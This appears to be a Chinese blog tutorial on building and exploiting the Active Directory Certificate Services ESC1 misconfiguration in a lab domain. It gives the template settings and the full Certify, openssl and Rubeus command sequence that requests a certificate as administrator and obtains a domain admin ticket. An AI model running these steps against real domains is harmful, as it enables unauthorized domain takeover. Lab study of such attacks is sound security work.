ADCS-ESC1漏洞环境构造与利用

原理

ESC1是ADCS中的一个漏洞,利用该漏洞可实现权限提升攻击。在 ESC1 漏洞利用中,攻击者通过一系列操作获取包含域管身份信息的证书后,利用 Rubeus.exe 工具,使用该证书获取 TGT 票据。一旦成功获取 TGT 票据,攻击者就可以利用该票据进行权限提升,访问原本只有域管理员才能访问的域控资源等,从而实现对域环境的进一步控制。

漏洞利用条件

证书注册权限:Domain Users 组具备获取证书的权限。

应用程序策略:证书具备身份验证功能,例如登记为客户端身份验证,只要证书存在用于验证的相关功能,即可满足该攻击条件。

关键标志开启:开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志,此标志允许通过_CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_声明自身身份,从而实现伪装成域管理员的目的,这是 ESC1 攻击得以实施的关键步骤。

漏洞环境构造

配置证书模板

在ADCS服务器中运行中输入certtmpl.msc打开证书模板控制台,右键复制工作站身份验证

常规

模板名称设置为ESC1(可任意填写)

使用者名称

选择在请求中提供,开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

拓展

选择应用程序策略,添加客户端身份验证

安全

加入Domain Users具有注册权限

发布证书模板

打开certsrv.msc

在证书颁发机构中的证书模板右键点击新建要颁发的证书模板,选择新复制的模板ESC1确定添加

漏洞环境检测

使用Certify检测有没有证书配置错误

复制代码
Certify.exe find /vulnerable

当出现以下情况时,满足 ESC1 漏洞条件,即存在 ESC1 漏洞:

  1. msPKI-Certificate-Name-Flag:ENROLLEE_SUPPLIES_SUBJECT
  2. pkiextendedkeyusage:客户端身份验证
  3. Enrollment Rights:Domain Users 组可获取证书

满足上述条件,可利用证书漏洞伪装成域管理员获取更高权限。

漏洞利用

在普通域用户下,使用Certify.exe以administrator身份申请ESC1证书

复制代码
Certify.exe request /ca:adcs.lutra.com\lutra-ADCS-CA /template:ESC1 /altname:administrator

将申请的证书复制保存为cert.pem,使用openssl转为cert.pfx,密码为空即可

复制代码
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

使用Rubeus请求域管administrator的TGT

复制代码
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.110.127 /ptt

在执行的时候出现报错,KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP

原因是没有将域控制器身份验证证书导入到域控中

将域控制器身份验证注册后再次执行,成功导入票据

导入票据后,已经有权限访问域控目录

相关推荐
今日说"法"3 小时前
Rust 内存泄漏的检测与防范:超越安全的实践指南
java·安全·rust
NewCarRen13 小时前
整合STPA、ISO 26262与SOTIF的自动驾驶安全需求推导与验证
人工智能·安全·自动驾驶·预期功能安全
芯盾时代13 小时前
低空经济网络安全体系
安全·web安全
鹿鸣天涯13 小时前
关于进一步做好网络安全等级保护有关工作的问题释疑-【二级以上系统重新备案】、【备案证明有效期三年】
网络·安全·web安全
00后程序员张13 小时前
如何提高 IPA 安全性 多工具组合打造可复用的 iOS 加固与反编译防护体系(IPA 安全 iOS 加固 无源码混淆 Ipa Guard 实战)
android·安全·ios·小程序·uni-app·iphone·webview
小妖同学学AI13 小时前
Rust 深度解析:变量、可变性与所有权的“安全边界”
开发语言·安全·rust
m0_7381207214 小时前
网络安全编程——开发一个TCP代理Python实现
python·tcp/ip·安全·web安全·网络安全
安当加密15 小时前
安全登录多人共用的机密电脑:基于动态凭证与会话隔离的解决方案
安全·电脑
七月稻草人15 小时前
Rust 应用状态(App State)管理:类型安全与并发控制的艺术
开发语言·安全·rust
金仓拾光集16 小时前
金仓替代MongoDB:安全与性能协同提升——社交用户画像系统的国产化实践
数据库·安全·mongodb·kingbase·kingbasees·数据库平替用金仓·金仓数据库